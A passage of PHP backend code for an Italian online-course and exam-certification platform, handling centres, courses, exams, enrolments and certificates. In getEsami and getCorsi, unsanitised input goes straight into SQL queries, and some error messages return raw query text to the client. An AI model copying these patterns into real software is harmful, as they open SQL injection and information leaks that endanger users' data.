		$citta = $this->db->quoteText($_citta);
		$telefono = $this->db->quoteText($_telefono);		
		
		
		$q = "UPDATE centri_user_info SET "
				. "denominazione = $denominazione, "  
				. "partita_iva = $partita_iva, "  
				. "cdf = $cdf, "  
				. "cap = $cap, "  
				. "indirizzo = $indirizzo, "  
				. "pec = $pec, "  
				. "sdi = $sdi, "  
				. "amministratore_cognome = $amministratore_cognome, "  
				. "amministratore_nome = $amministratore_nome, "  
				. "amministratore_telefono = $amministratore_telefono, "  
				. "amministratore_email = $amministratore_email, "  
				. "citta = $citta, "  
				. "telefono = $telefono, "  
				. "referente_cognome = $referente_cognome, "  
				. "referente_nome = $referente_nome, "  
				. "referente_email = $referente_email, "  
				. "referente_telefono = $referente_telefono, "  
				. "marketing = $marketing "  
				. "WHERE id_user_info = $id_user_info AND id_user = $id_user;";

		if ($this->db->SafeExec($q)) {
			if($_scadenza){
				$scadenza = $this->db->quoteText($_scadenza);
				$q2 = "UPDATE user SET scadenza = $scadenza WHERE id_user = $id_user;";
				if (!$this->db->SafeExec($q2)) {
					return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento della scadenza, si prega di riprovare!", false) );
				}
			}
			if($_account){
				$account = $this->db->quoteInt($_account);
				$q2 = "UPDATE user SET account = $account WHERE id_user = $id_user;";
				if (!$this->db->SafeExec($q2)) {
					return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento della scadenza, si prega di riprovare!", false) );
				}
			}

			return $this->printMessage( $this->responseMessage("Utente modificato con successo.", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!".$q, false) );
		}
	}

	function getAvanzamentoLezione($id_corso) {
		$id_corso =  $this->db->quoteInt($id_corso);
		$res= [];	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	
	function getCorsiCentro($_id_user) {
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT corso.titolo, corso.id_corso, corso.categoria, corso.durata, corso.erogazione, corso.attivo, corso.prezzo,
		(SELECT COUNT(*) FROM iscrizioni_studenti_corsi AS sub_u LEFT JOIN user ON sub_u.id_user = user.id_user WHERE sub_u.id_corso = c.id_corso AND user.id_centro = $id_user) AS numero_iscritti
		FROM centri_corsi_assegnati AS c
		LEFT JOIN corso ON c.id_corso = corso.id_corso
		WHERE c.id_centro = $id_user"; 
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );


		// $query = "SELECT c.id_corso, c.disabilita_navigazione, c.scorrimento_automatico_slide, c.timer_come_video, c.timer_lezione, c.timer_slide, c.avatar_location, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari, c.contenuti, c.caratteristiche,  c.durata, c.tipologia, c.erogazione, c.attivo, 
		// (SELECT COUNT(*) FROM iscrizioni_studenti_corsi AS sub_c JOIN user AS u ON sub_c.id_user = u.id_user WHERE sub_c.id_corso = c.id_corso) AS totale_iscritti,
		// (SELECT COUNT(*) FROM corso_edizione AS sub_u WHERE sub_u.id_corso = c.id_corso) AS totale_sessioni  
		// FROM corso AS c";
	}

	function getEsamiCentro($_id_user) {
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT corso_esame.*, c.active, 
		(SELECT COUNT(*) FROM iscrizioni_studenti_esami AS sub_u LEFT JOIN user ON sub_u.id_user = user.id_user WHERE sub_u.id_esame = c.id_esame AND user.id_centro = $id_user) AS numero_iscritti
		FROM centri_esami_assegnati AS c
		LEFT JOIN corso_esame ON c.id_esame = corso_esame.id_esame
		WHERE c.id_centro = $id_user"; 
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );


		$query = "SELECT c.*, 
		(SELECT COUNT(*) FROM iscrizioni_studenti_esami AS sub_c JOIN sessione AS ses ON ses.id_esame = sub_c.id_esame JOIN user AS u ON sub_c.id_user = u.id_user WHERE ses.id_esame = c.id_esame) AS totale_iscritti,
		(SELECT COUNT(*) FROM sessione AS sub_u WHERE sub_u.id_esame = c.id_esame) AS totale_sessioni, 
		(SELECT COUNT(*) FROM corso_esame_modulo AS sub_e WHERE sub_e.id_esame = c.id_esame) AS totale_moduli  
		FROM corso_esame AS c";
	}

	// function getIscrizioniSessioniUtente($_id_user) {
	// 	$id_user =  $this->db->quoteInt($_id_user);
	// 	$query = "SELECT iscrizioni_studenti_esami.id_user, iscrizioni_studenti_esami.id_esame, corso.titolo, corso.id_corso, corso.categoria, iscrizioni_studenti_esami.user_insert_id, iscrizioni_studenti_esami.tentativi, iscrizioni_studenti_esami.durata, iscrizioni_studenti_esami.invalidato, iscrizioni_studenti_esami.create_time, centri_user_info.nome as affiliato_nome, centri_user_info.cognome as affiliato_cognome, centri_user_info.id_user as affiliato_user_id
	// 	, iscrizioni_studenti_esami.esito, iscrizioni_studenti_esami.data_esito, sessione.data_inizio_sessione, sessione.data_fine_sessione, sessione.id_supervisore, sessione.data_chiusura_supervisore, sessione.documento_firme_location, supervisori_user_info.nome as supervisore_nome, supervisori_user_info.cognome as supervisore_cognome, sessione.password 
	// 	FROM iscrizioni_studenti_esami 
	// 	LEFT JOIN sessione ON sessione.id_esame = iscrizioni_studenti_esami.id_esame 
	// 	LEFT JOIN corso ON sessione.id_corso = corso.id_corso
	// 	LEFT JOIN centri_user_info ON iscrizioni_studenti_esami.user_insert_id = centri_user_info.id_user
	// 	LEFT JOIN supervisori_user_info ON supervisori_user_info.id_user = sessione.id_supervisore
	// 	WHERE iscrizioni_studenti_esami.id_user = $id_user ORDER BY sessione.data_inizio_sessione"; 
	// 	$res= $this->db->SafeFetch($query);	
	// 	return $this->printMessage( $this->responseMessage($res, true) );
	// }

	function getIscrizioniSessioniUtente($_id_user) {
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT DISTINCT iscrizioni_studenti_esami.id_iscrizione, iscrizioni_studenti_esami.id_sessione, iscrizioni_studenti_esami.id_user, corso_esame.titolo, corso_esame.id_esame, corso_esame.categoria, iscrizioni_studenti_esami.user_insert_id, iscrizioni_studenti_esami.esito, iscrizioni_studenti_esami.data_esito, iscrizioni_studenti_esami.codice_certificato, iscrizioni_studenti_esami.file_cert, centri_user_info.denominazione as affiliato_nome, centri_user_info.id_user as affiliato_user_id
		, sessione.data_inizio_sessione, sessione.data_fine_sessione, sessione.id_supervisore, sessione.data_chiusura_supervisore, sessione.documento_firme_location, supervisori_user_info.nome as supervisore_nome, supervisori_user_info.cognome as supervisore_cognome, sessione.password 
		FROM iscrizioni_studenti_esami 
		LEFT JOIN sessione ON sessione.id_sessione = iscrizioni_studenti_esami.id_sessione 
		LEFT JOIN corso_esame ON iscrizioni_studenti_esami.id_esame = corso_esame.id_esame
		LEFT JOIN centri_user_info ON iscrizioni_studenti_esami.user_insert_id = centri_user_info.id_user
		LEFT JOIN supervisori_user_info ON supervisori_user_info.id_user = sessione.id_supervisore
		WHERE iscrizioni_studenti_esami.id_user = $id_user ORDER BY sessione.data_inizio_sessione"; 
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getIscrizioniEdizioniUtenti($_id_edizione) {
		$id_edizione =  $this->db->quoteInt($_id_edizione);
		$query = "SELECT * 
		FROM iscrizioni_studenti_corsi
		LEFT JOIN studenti_user_info ON iscrizioni_studenti_corsi.id_user = studenti_user_info.id_user
		WHERE iscrizioni_studenti_corsi.id_edizione = $id_edizione"; 
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getModuliCorsoUser($_id_user, $_id_esame, $_id_iscrizione) {
		$id_esame =  $this->db->quoteInt($_id_esame);
		$id_user =  $this->db->quoteInt($_id_user);
		$id_iscrizione =  $this->db->quoteInt($_id_iscrizione);
		$query = "SELECT * FROM corso_esame_modulo WHERE id_esame = $id_esame"; 
		$moduli= $this->db->SafeFetch($query);	
		for ($i=0; $i < count($moduli) ; $i++) { 
			$id_modulo = $this->db->quoteInt($moduli[$i]['id_modulo']);
			$query = "SELECT * FROM corso_esame_modulo_studente WHERE id_modulo = $id_modulo AND id_user = $id_user AND id_iscrizione = $id_iscrizione"; 
			$moduli[$i]['studente']= $this->db->SafeFetchOne($query);		
			$moduli[$i]['esito'] = 0;
			$moduli[$i]['tentativi_utilizzati'] = 0;
			if($moduli[$i]['studente']){
				$moduli[$i]['tentativi_utilizzati'] = $moduli[$i]['studente']['tentativi_utilizzati'];
				if($moduli[$i]['studente']['superato']=="1" ){
					$moduli[$i]['data_esito'] = $moduli[$i]['studente']['data_supertato'];
					$moduli[$i]['esito'] = 1;
				}
			}
			
			$query = "SELECT COUNT(id_modulo) as t FROM corso_esame_modulo_tentativi_studente WHERE id_modulo = $id_modulo AND id_user = $id_user AND id_iscrizione = $id_iscrizione"; 
			$moduli[$i]['tentativi'] = intval($moduli[$i]['tentativi']);
			$tentativi_acquistati = $this->db->SafeFetchOne($query);		
			$moduli[$i]['tentativi_acquistati']= $tentativi_acquistati['t'];
		}
		return $this->printMessage( $this->responseMessage($moduli, true) );
	}

	function getRisposteCorretteEsame($_id_modulo){
		$id_modulo =  $this->db->quoteInt($_id_modulo);
		$query = "SELECT corso_esame_domanda.id_domanda, corso_esame_risposta.id_risposta 
		FROM corso_esame_domanda
		LEFT JOIN corso_esame_risposta ON corso_esame_domanda.id_domanda = corso_esame_risposta.id_domanda
		WHERE corso_esame_domanda.id_modulo = $id_modulo AND corso_esame_risposta.corretta = 1";
		$domande_db= $this->db->SafeFetch($query);
		return $this->printMessage( $this->responseMessage($domande_db, true) );
	}

	function getRisposteCorrette($_id_lezione){
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$query = "SELECT corso_lezione_domanda.id_domanda, corso_lezione_risposta.id_risposta 
		FROM corso_lezione_domanda
		LEFT JOIN corso_lezione_risposta ON corso_lezione_domanda.id_domanda = corso_lezione_risposta.id_domanda
		WHERE corso_lezione_domanda.id_lezione = $id_lezione AND corso_lezione_risposta.corretta = 1";
		$domande_db= $this->db->SafeFetch($query);
		return $this->printMessage( $this->responseMessage($domande_db, true) );
	}

	function getReportsCorsoUser($id_user, $id_iscrizione) {
		$reports = $this->getListaFilePrivate('report',$id_iscrizione);
		$rep = [];
		for ($i=0; $i < count($reports) ; $i++) { 
			if(!$reports[$i]){
				continue;
			}
			$r = [];
			$r['url'] = $reports[$i];
			$filename=$reports[$i];

			$_f = explode(".",$filename);
			$ext_lenght = 0;
			if(count($_f)>1){
				$ext_lenght = strlen(end($_f));
				$ext = end($_f);
			}
			$titolo = substr($filename, 0, strlen($filename)-20-$ext_lenght-1);
			$_data = substr($filename, strlen($titolo)+1, 16);
			$_gma = explode("-",$_data);
			$gma = explode("_",$_gma[0]);
			$hm = explode("_",$_gma[1]);
			$r['titolo'] = $titolo;
			$r['data'] = $gma[0]."/".$gma[1]."/".$gma[2]." ".$hm[0].":".$hm[1];
			$rep[] = $r;
		}
		return $this->printMessage( $this->responseMessage($rep, true) );
	}

	function cancellaCertificatoUtente($_id_user, $_id_esame) {
		$id_esame =  $this->db->quoteInt($_id_esame);
		$id_user =  $this->db->quoteInt($_id_user);

		//recupero i dati del certificato
		$query = "SELECT * FROM iscrizioni_studenti_esami WHERE id_user = $id_user AND id_esame = $id_esame;";
		$res_esito= $this->db->SafeFetchOne($query);

		$query = "UPDATE iscrizioni_studenti_esami SET codice_certificato = NULL, file_cert= NULL WHERE id_user = $id_user AND id_esame = $id_esame;";
		if($this->db->SafeExec($query)){
			$this->deleteFileS3Private("user",$_id_user,$res_esito['file_cert']);
		}else{
			return $this->printMessage( $this->responseMessage("Errore nella cancellazione del certificato!", false) );
		}
	}

	function cancellaAttestatoUtente($_id_user, $_id_corso) {
		$id_corso =  $this->db->quoteInt($_id_corso);
		$id_user =  $this->db->quoteInt($_id_user);

		//recupero i dati del certificato
		$query = "SELECT * FROM iscrizioni_studenti_corsi WHERE id_user = $id_user AND id_corso = $id_corso;";
		$res_esito= $this->db->SafeFetchOne($query);

		$query = "UPDATE iscrizioni_studenti_corsi SET codice_attestato = NULL, file_att= NULL WHERE id_user = $id_user AND id_corso = $id_corso;";
		if($this->db->SafeExec($query)){
			$this->deleteFileS3Private("user",$_id_user,$res_esito['file_att']);
		}else{
			return $this->printMessage( $this->responseMessage("Errore nella cancellazione dell'attestato!", false) );
		}
	}

	function scaricaCertificatoUtente($_id_user, $_id_esame) {
		$id_esame =  $this->db->quoteInt($_id_esame);
		$id_user =  $this->db->quoteInt($_id_user);
		//recupero i dati del certificato
		$query = "SELECT * FROM iscrizioni_studenti_esami WHERE id_user = $id_user AND id_esame = $id_esame;";
		$res_esito= $this->db->SafeFetchOne($query);
		//verifiche
		if($res_esito['esito']!=1){
			return $this->printMessage( $this->responseMessage("Non è possibile generare il certificato, l'esame non è stato superato!", false) );
		}
		if($res_esito['codice_certificato']!=null){
			$this->getFile("user",$id_user,$res_esito['file_cert']);
		}else{
			return $this->printMessage( $this->responseMessage("L'utente non ha ancora generato il certificato, riprova più tardi!", false) );
		}	
	}

	function scaricaAttestatoUtente($_id_user, $_id_corso) {
		$id_corso =  $this->db->quoteInt($_id_corso);
		$id_user =  $this->db->quoteInt($_id_user);
		//recupero i dati del certificato
		$query = "SELECT * FROM iscrizioni_studenti_corsi WHERE id_user = $id_user AND id_corso = $id_corso;";
		$res_esito= $this->db->SafeFetchOne($query);
		//verifiche
		if($res_esito['seguito']!=1){
			return $this->printMessage( $this->responseMessage("Non è possibile generare l'attestato, il corso non è stato completato!", false) );
		}
		if($res_esito['codice_attestato']!=null){
			$this->getFile("user",$id_user,$res_esito['file_att']);
		}
		else{
			return $this->printMessage( $this->responseMessage("L'utente non ha ancora generato l'attestato, riprova più tardi!", false) );
		}		
	}

	function getEdizioniCorso($_id_corso, $_id_centro){
		$id_user =  $this->db->quoteInt($_id_centro);
		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT * 
		FROM corso_edizione
		LEFT JOIN corso ON corso_edizione.id_corso = corso.id_corso
		WHERE corso_edizione.id_centro = $id_user"; 
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getFilesSegreteria($id_segreteria) {
		$res = $this->getListaFilePrivate('segreteria', $id_segreteria);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function cambiaStatoCorso($_id_corso, $_stato){
		$id_corso =  $this->db->quoteInt($_id_corso);
		$stato =  $this->db->quoteInt($_stato);
		$query = "UPDATE corso SET attivo = $stato WHERE id_corso = $id_corso";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Corso modificato con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante la modifica, si prega di riprovare!", false) );
		}
	}

	function cambiaStatoCentro($_id_centro, $_stato){
		$id_centro =  $this->db->quoteInt($_id_centro);
		$stato =  $this->db->quoteInt($_stato);
		$query = "UPDATE user SET deleted = $stato WHERE id_user = $id_centro";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Centro modificato con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante la modifica, si prega di riprovare!", false) );
		}
	}

	/*esami*/

	function getEsame($_id_esame) {
		$id_esame =  $this->db->quoteInt($_id_esame);
		$query = "SELECT c.id_corso, c.id_esame,c.insert_time, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari, c.contenuti, c.caratteristiche, c.durata, c.erogazione 
		FROM corso_esame AS c WHERE c.id_esame = $id_esame";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getEsami($_id_centro = -1) {
		if(!$_id_centro || $_id_centro=="ID_CENTRO"){
			$_id_centro = -1;
		}
		$query = "SELECT c.*, 
		(SELECT COUNT(*) FROM iscrizioni_studenti_esami AS sub_c JOIN sessione AS ses ON ses.id_esame = sub_c.id_esame JOIN user AS u ON sub_c.id_user = u.id_user WHERE ses.id_esame = c.id_esame) AS totale_iscritti,
		(SELECT COUNT(*) FROM sessione AS sub_u WHERE sub_u.id_esame = c.id_esame) AS totale_sessioni, 
		(SELECT COUNT(*) FROM corso_esame_modulo AS sub_e WHERE sub_e.id_esame = c.id_esame) AS totale_moduli  
		FROM corso_esame AS c where id_centro = $_id_centro";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getEsamiCentriList() {
		$query = "SELECT c.*, 
		(SELECT COUNT(*) FROM iscrizioni_studenti_esami AS sub_c JOIN sessione AS ses ON ses.id_esame = sub_c.id_esame JOIN user AS u ON sub_c.id_user = u.id_user WHERE ses.id_esame = c.id_esame) AS totale_iscritti,
		(SELECT COUNT(*) FROM sessione AS sub_u WHERE sub_u.id_esame = c.id_esame) AS totale_sessioni, 
		(SELECT COUNT(*) FROM corso_esame_modulo AS sub_e WHERE sub_e.id_esame = c.id_esame) AS totale_moduli,
		cui.denominazione, cui.cdf, ui.email, cui.telefono, ui.scadenza, ui.account
		FROM corso_esame AS c 
		LEFT JOIN user as ui ON c.id_centro = ui.id_user
		LEFT JOIN centri_user_info as cui ON c.id_centro = cui.id_user
		where c.id_centro >0";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function updateEsame($_id_esame,$_titolo,$_categoria,$_colore,$_prezzo,$_descrizione,$_finalita,$_programma,$_destinatari,$_contenuti,$_caratteristiche,$_durata, $_erogazione){
		$id_esame =  $this->db->quoteInt($_id_esame);
		$erogazione =  $this->db->quoteInt($_erogazione);
		$prezzo =  $this->db->quoteDecimal($_prezzo);
		$durata =  $this->db->quoteInt($_durata);
		$titolo =  $this->db->quoteText($_titolo);
		$categoria =  $this->db->quoteText($_categoria);
		$colore =  $this->db->quoteText($_colore);
		$descrizione =  $this->db->quoteText($_descrizione);
		$finalita =  $this->db->quoteText($_finalita);
		$programma =  $this->db->quoteText($_programma);
		$destinatari =  $this->db->quoteText($_destinatari);
		$contenuti =  $this->db->quoteText($_contenuti);
		$caratteristiche =  $this->db->quoteText($_caratteristiche);
		$query = "UPDATE corso_esame SET "
				. " prezzo = $prezzo, "  
				. " durata = $durata, "  
				. " titolo = $titolo, "  
				. " categoria = $categoria, "  
				. " colore = $colore, "  
				. " descrizione = $descrizione, "  
				. " finalita = $finalita, "  
				. " programma = $programma, "  
				. " destinatari = $destinatari, "  
				. " contenuti = $contenuti, "  
				. " erogazione = $erogazione, "  
				. " caratteristiche = $caratteristiche "  
				. " WHERE id_esame = $id_esame;";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Esame modificato con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}
	
	function insertEsame($_titolo,$_categoria,$_colore,$_prezzo,$_descrizione,$_finalita,$_programma,$_destinatari,$_contenuti,$_caratteristiche,$_durata, $_erogazione){
		$this->db->beginTransaction();
		$erogazione =  $this->db->quoteInt($_erogazione);
		$prezzo =  $this->db->quoteDecimal($_prezzo);
		$durata =  $this->db->quoteInt($_durata);
		$titolo =  $this->db->quoteText($_titolo);
		$categoria =  $this->db->quoteText($_categoria);
		$colore =  $this->db->quoteText($_colore);
		$descrizione =  $this->db->quoteText($_descrizione);
		$finalita =  $this->db->quoteText($_finalita);
		$programma =  $this->db->quoteText($_programma);
		$destinatari =  $this->db->quoteText($_destinatari);
		$contenuti =  $this->db->quoteText($_contenuti);
		$caratteristiche =  $this->db->quoteText($_caratteristiche);
		$query = "INSERT INTO corso_esame "
				. " (prezzo,durata,titolo,categoria,colore,descrizione,finalita,programma,destinatari,contenuti,caratteristiche, erogazione) "
				. " VALUES($prezzo,$durata,$titolo,$categoria,$colore,$descrizione,$finalita,$programma,$destinatari,$contenuti,$caratteristiche, $erogazione); ";  
		$id_esame =$this->db->SafeInsert($query);
		if(!$id_esame){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire l'esame!".$query, false) );
		}

		$query = "INSERT INTO corso_esame_modulo "
				. " (prezzo,durata,titolo,id_esame) "
				. " VALUES($prezzo,$durata,'Modulo 1',$id_esame); ";  
		$id_modulo =$this->db->SafeInsert($query);
		if(!$id_modulo){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire il modulo dell'esame!".$query, false) );
		}
		
		$query_l = "INSERT INTO corso_esame_domanda (id_modulo) VALUES($id_modulo);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda esame non inserita errore nell'inserimento dell'esame!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame non inserita errore nell'inserimento dell'esame!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame non inserita errore nell'inserimento dell'esame!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame non inserita errore nell'inserimento dell'esame!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame non inserita errore nell'inserimento dell'esame!".$query_l, false) );
		}
		
		
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Certificazione non inserita errore in fase di creazione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Certificazione inserita con successo!", true) );
		}
	}
	
	function cambiaStatoEsame($_id_esame, $_stato){
		$id_esame =  $this->db->quoteInt($_id_esame);
		$stato =  $this->db->quoteInt($_stato);
		$query = "UPDATE corso_esame SET attivo = $stato WHERE id_esame = $id_esame";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Certificazione modificata con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante la modifica, si prega di riprovare!", false) );
		}
	}

	function deleteEsame($_id_esame){
		
		$id_esame =  $this->db->quoteInt($_id_esame);
		$res = $this->db->SafeExec("DELETE FROM corso_esame WHERE id_esame=$id_esame");
		if ($res) {
			return $this->printMessage( $this->responseMessage("Certificazione eliminata con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}


	function cancellaEsameStudente($_id_user, $_id_iscrizione){
		$id_user =  $this->db->quoteInt($_id_user);
		$id_iscrizione =  $this->db->quoteInt($_id_iscrizione);
		$res = $this->db->SafeExec("DELETE FROM iscrizioni_studenti_esami WHERE id_user=$id_user AND id_iscrizione=$id_iscrizione");
		if ($res) {
			return $this->printMessage( $this->responseMessage("Certificazione eliminata con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	function cancellaCorsoStudente($_id_user, $_id_iscrizione){
		$id_user =  $this->db->quoteInt($_id_user);
		$id_iscrizione =  $this->db->quoteInt($_id_iscrizione);
		$res = $this->db->SafeExec("DELETE FROM iscrizioni_studenti_corsi WHERE id_user=$id_user AND id_iscrizione=$id_iscrizione");
		if ($res) {
			return $this->printMessage( $this->responseMessage("Corso eliminato con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}


	function getCentriEsami($_id_esame) {
		$id_esame =  $this->db->quoteInt($_id_esame);
		$query = "SELECT user.*, centri_user_info.* FROM centri_esami_assegnati LEFT JOIN user ON user.id_user=centri_esami_assegnati.id_centro LEFT JOIN centri_user_info ON centri_user_info.id_user = user.id_user WHERE centri_esami_assegnati.id_esame = ".$id_esame;
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getOrdiniInSospeso() {
		$query = "SELECT count(*) as totale FROM centri_ordini WHERE completed != 1";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res['totale'], true) );
	}

	function getEsamePaniere($_id_esame) {
		$id_esame =  $this->db->quoteInt($_id_esame);
		$query = "SELECT cl.id_esame, cl.id_modulo, cl.prezzo, cl.time, cl.titolo, cl.subject, cl.testo, cl.files, cl.video, cl.image, cl.quiz, cl.time, cl.video_url, cl.image_url, cl.quiz_on, cl.rating, cl.numero_domande,cl.erogazione, 
		(SELECT JSON_ARRAYAGG( 
							JSON_OBJECT('id_domanda', cld.id_domanda,'domanda', cld.domanda,'attiva', cld.attiva,'risposte'
									,(SELECT JSON_ARRAYAGG(
													JSON_OBJECT('id_risposta', clr.id_risposta,'risposta', clr.risposta,'corretta', clr.corretta)
												) FROM corso_esame_risposta AS clr WHERE clr.id_domanda = cld.id_domanda 
									 )	
									)
						) FROM corso_esame_domanda AS cld WHERE cld.id_modulo = cl.id_modulo
		) AS paniere FROM corso_esame_modulo AS cl WHERE cl.id_esame = $id_esame";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	/*esami*/
	
	function getCorsi($_id_centro = -1) {
		if(!$_id_centro || $_id_centro=="ID_CENTRO"){
			$_id_centro = -1;
		}
		$id_centro =  $this->db->quoteInt($_id_centro);
		$query = "SELECT c.id_corso, c.disabilita_navigazione, c.scorrimento_automatico_slide, c.timer_come_video, c.timer_lezione, c.timer_slide, c.avatar_location, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari, c.contenuti, c.caratteristiche,  c.durata, c.tipologia, c.erogazione, c.attivo, 
		(SELECT COUNT(*) FROM iscrizioni_studenti_corsi AS sub_c JOIN user AS u ON sub_c.id_user = u.id_user WHERE sub_c.id_corso = c.id_corso) AS totale_iscritti,
		(SELECT COUNT(*) FROM corso_edizione AS sub_u WHERE sub_u.id_corso = c.id_corso) AS totale_sessioni  
		FROM corso AS c where id_centro = $_id_centro;";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getCorsiCentriList() {
		$query = "SELECT c.id_corso, c.disabilita_navigazione, c.scorrimento_automatico_slide, c.timer_come_video, c.timer_lezione, c.timer_slide, c.avatar_location, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari, c.contenuti, c.caratteristiche,  c.durata, c.tipologia, c.erogazione, c.attivo, 
		(SELECT COUNT(*) FROM iscrizioni_studenti_corsi AS sub_c JOIN user AS u ON sub_c.id_user = u.id_user WHERE sub_c.id_corso = c.id_corso) AS totale_iscritti,
		(SELECT COUNT(*) FROM corso_edizione AS sub_u WHERE sub_u.id_corso = c.id_corso) AS totale_sessioni, 
		cui.denominazione, cui.cdf, ui.email, cui.telefono, ui.scadenza, ui.account
		FROM corso AS c
		LEFT JOIN user as ui ON c.id_centro = ui.id_user
		LEFT JOIN centri_user_info as cui ON c.id_centro = cui.id_user
		where c.id_centro > 0;";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getCorso($_id_corso) {
		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT c.id_corso, c.disabilita_navigazione, c.scorrimento_automatico_slide,c.timer_come_video, c.timer_lezione, c.timer_slide, c.insert_time,c.avatar_location, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari, c.contenuti, c.caratteristiche, c.durata, c.tipologia, c.erogazione 
		FROM corso AS c WHERE c.id_corso = $id_corso";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getCorsoLezioni($_id_corso) {
		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT cl.id_lezione, cl.id_corso, cl.rating, cl.numero_domande ,cl.ordine, cl.titolo, cl.subject, cl.testo, cl.files, cl.video, cl.image, cl.quiz, cl.time, cl.video_url, cl.image_url, cl.quiz_on, cl.quiz_time, cl.disabilita_navigazione, cl.scorrimento_automatico_slide, cl.timer_come_video, cl.timer_slide, cl.video_len, (SELECT JSON_ARRAYAGG( JSON_OBJECT('id_domanda', cld.id_domanda,'domanda', cld.domanda,'attiva', cld.attiva,'risposte',(SELECT JSON_ARRAYAGG(JSON_OBJECT('id_risposta', clr.id_risposta,'risposta', clr.risposta,'corretta', clr.corretta)) FROM corso_lezione_risposta AS clr WHERE clr.id_domanda = cld.id_domanda ))) FROM corso_lezione_domanda AS cld WHERE cld.id_lezione = cl.id_lezione) AS paniere FROM corso_lezione AS cl WHERE cl.id_corso = $id_corso";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	function getCorsoEsame($_id_corso) {
		$id_corso =  $this->db->quoteInt($_id_corso);
